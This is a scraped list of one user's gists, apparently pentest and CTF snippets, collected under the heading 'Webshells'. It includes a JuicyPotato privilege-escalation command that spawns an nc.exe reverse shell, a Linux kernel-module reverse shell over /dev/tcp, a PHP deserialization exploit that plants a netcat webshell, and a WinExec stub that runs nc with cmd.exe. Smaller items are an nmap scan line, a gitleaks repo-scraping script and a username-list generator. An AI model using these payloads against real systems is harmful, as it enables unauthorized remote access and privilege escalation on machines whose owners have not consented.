学习网站

Webshells

tanaka-geek / Juicypotato.bat

Last active March 3, 2021 18:39

	JuicyPotato.exe -t t -p C:\Windows\System32\cmd.exe -l 8888 -a "/c c:\Users\Public\Downloads\nc.exe -e cmd.exe 192.168.1.1 443"
	# If this does not work, need to pick CLSID manually from
	# http://ohpe.it/juicy-potato/CLSID/
	potato.exe -t t -p C:\Windows\System32\cmd.exe -l 8888 -a "/c c:\TEMP\nc.exe -e cmd.exe 192.168.1.1" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

tanaka-geek / reverse-shell.c

Last active March 6, 2021 16:45

Manipulating CAP_SYS_MODULE capabilities in Kernel modules

	#include <linux/kmod.h>
	#include <linux/module.h>

	MODULE_LICENSE("GPL");
	MODULE_AUTHOR("Troll");
	MODULE_DESCRIPTION("LKM reverse shell module");
	MODULE_VERSION("1.0");

	char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};

tanaka-geek / Makefile

Created March 6, 2021 16:52

Compiling the previous reverse-shell.c kernel module

	obj-m +=reverse-shell.o
	all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
	clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

tanaka-geek / php-unserialize-exploit.php

Last active March 7, 2021 15:49

This php script is written for exploiting the serialization issue

	<?php

	class Foo
	{
	public $user_file = "malicious.php";
	public $data = "<?php system('nc 192.168.1.1 443 -c bash'); ?>";
	}

	$url = 'http://vuln.com/unserialize.php?r='; // Change it to arbitrary url
	$url = $url . urlencode(serialize(new Foo));

tanaka-geek / rustscan-was-nmap

Created March 7, 2021 20:42

rustscan runs too fast.

	nmap --min-rate 4500 --max-rtt-timeout 1500ms 192.168.1.1 -p-

	# Rustscan make 4500 connections at the same time
	# rtt timeout is 10000ms = 10 seconds by default
	# 1500ms is 1.5 seconds timeout. 100ms for fast/reliable host, 10000ms for slow/unreliable host.

tanaka-geek / winexec.c

Created March 9, 2021 08:58

Compile with

	#include <Windows.h>

	/*
	x86_64-w64-ming32-g++
	i686-w64-mingw32-g++
	*/

	int main()
	{
	WinExec("C:\\inetpub\\wwwroot\\uploaded\\nc.exe 192.168.1.1 443 -e cmd.exe", SW_SHOWNORMAL);

tanaka-geek / gitleaks.sh

Last active March 10, 2021 07:32

Auto Scrape the name of the git-repo and check if there's any leaks with gitleaks

	#!/bin/bash

	if [[ $# -ne 1 ]]; then
	echo "[!]Argument is supposed to be the name of github user"
	echo "Usage: ./getgits.sh username"
	exit 1
	fi

	url="https://github.com/$1?tab=repositories"
	repos=$(curl ${url} \| grep 'codeRepository' \| grep -Po 'href="(?:.?(\"))' \| grep -Po '(["])(?:(?=(\\?))\2.)?\1' \| tr -d '"')

tanaka-geek / usernamelist.py

Last active March 22, 2021 10:12

Create a list of usernames like elchapo,echapo,e.chap and stuff

	#!/usr/bin/env python3
	import sys
	import os.path

	if __name__ == "__main__":
	if len(sys.argv) != 2:
	print("usage: {} names.txt".format((sys.argv[0])))
	sys.exit(0)

	if not os.path.exists(sys.argv[1]):

tanaka-geek / CTF-credentials.txt

Last active May 14, 2021 06:13

CTF most common usernames and password